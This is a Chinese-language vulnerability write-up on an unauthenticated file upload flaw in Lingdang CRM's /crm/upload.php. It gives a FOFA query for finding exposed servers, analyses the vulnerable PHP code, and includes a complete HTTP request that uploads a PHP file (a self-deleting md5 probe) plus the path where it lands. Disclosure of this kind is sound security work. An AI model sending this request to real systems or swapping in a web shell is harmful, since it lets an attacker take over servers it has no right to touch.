灵当CRM /crm/upload.php 文件上传漏洞


漏洞简介

灵当CRM是一款专为中小企业打造的智能客户关系管理工具,由上海灵当信息科技有限公司开发并运营。广泛应用于金融、教育、医疗、IT服务、房地产等多个行业领域,帮助企业实现客户个性化管理需求,提升企业竞争力。无论是新客户开拓、老客户维护,还是销售过程管理、服务管理等方面,灵当CRM都能提供全面、高效的解决方案。灵当CRM /crm/upload.php 接口存在任意文件上传漏洞,未经身份验证的攻击者可通过该漏洞在服务器端写入后门,任执行意代码,获取服务器权限,进而控制整个 web 服务器。

影响版本

fofa语法

body="crmcommon/js/jquery/jquery-1.10.1.min.js" || (body="http://localhost:8088/crm/index.php" && body="ldcrm.base.js")

漏洞分析

直接看 /crm/upload.php 业务逻辑实现

<?php
/*********************************************************************************
 * diony
 * 上传录音文件
 * 2014-10-21
 ********************************************************************************/
  $http_host=$_SERVER['HTTP_HOST'];
  if(strpos($http_host,"http://")!==false&&strpos($http_host,"http://")<=5)
  {
            $http_host=substr($http_host,strlen("http://"));

  }
 if(strpos($http_host,"https://")!==false&&strpos($http_host,"https://")<=5)
 {
            $http_host=substr($http_host,strlen("https://"));

 }

 if(strpos($http_host,"www.")!==false&&strpos($http_host,"www.")<=5)
 {
            $http_host=substr($http_host,strlen("www."));

 }
 $http_host=trim($http_host);

require_once('includefile.php');
//include('include/database/PearDatabase.php');
//include('include/DatabaseUtil.php');
//header("Content-type: text/html; charset=utf-8");

global $adb;
require_once("Register/RegOp.php");
$Time = date("Ymd");
$regop=RegOp::getInstance();

//$callcenter_interface=$regop->GetcallcenterInterfaceStatus();

if(!file_exists('recordData'))
{
    mkdir('recordData',0777);

}
if(!file_exists('recordData/'.$Time))
{
    mkdir('recordData/'.$Time,0777);
}

if(is_array($_FILES))
{
    $key= key($_FILES);

    $original_name=$_FILES[$key]["name"];
    FileFileterString($original_name);
    if($_FILES[$key]['error'] != UPLOAD_ERR_OK)
    {

        echo "上传失败!";
        exit();
    }
    else
    { 

        if(stripos($_SERVER['HTTP_HOST'],'xiaoshou360.com/XS/penghua')!==false)
        {
            move_uploaded_file($_FILES[$key]['tmp_name'] , "recordData/$Time/$original_name"); 
        }
         else if(stripos($_SERVER['HTTP_HOST'],'xiaoshou360.com/chongwen')!==false)
        {
            move_uploaded_file($_FILES[$key]['tmp_name'] , "recordData/$Time/$original_name"); 
        }
       else  if(strtolower($http_host)=='kehu001.com'||strtolower($http_host)=='51mis.com.cn'||strtolower($http_host)=='xiaoshou360.com')
            {
                //51mis.com.cn/gandan 电话管家上传录音导致服务器卡死

            } 
            else
                     move_uploaded_file($_FILES[$key]['tmp_name'] , "recordData/$Time/$original_name"); 
        include(globalStatic::$root_directory.'modules/Accounts/SaveCallButler.php');

        echo '上传成功!';
    }

}

exit();

?>

根据 $_FILES 数组获取上传文件,将其保存到指定目录中,无任何过滤处理,导致任意文件上传漏洞。

而上传目录 根据一下代码可知

$Time = date("Ymd");
if (!file_exists('recordData/' . $Time)) {
    mkdir('recordData/' . $Time, 0777);
}
move_uploaded_file($_FILES[$key]['tmp_name'] , "recordData/$Time/$original_name");

最终上传后的文件路径为 /crm/recordData/20241017/test.php 这种格式

漏洞复现

POST /crm/upload.php HTTP/1.1
Host: 51mis.mrxn.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123

------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: application/x-php

<?=md5(123456);unlink(__FILE__);
------WebKitFormBoundaryABC123--

访问文件 /crm/recordData/20241017/test.php


手机扫码阅读

灵当CRM /crm/uploaddify/uploadify.php 文件上传漏洞

万能门店小程序管理系统 /comadmin/Remote/onepic_uploade 文件上传漏洞

评 论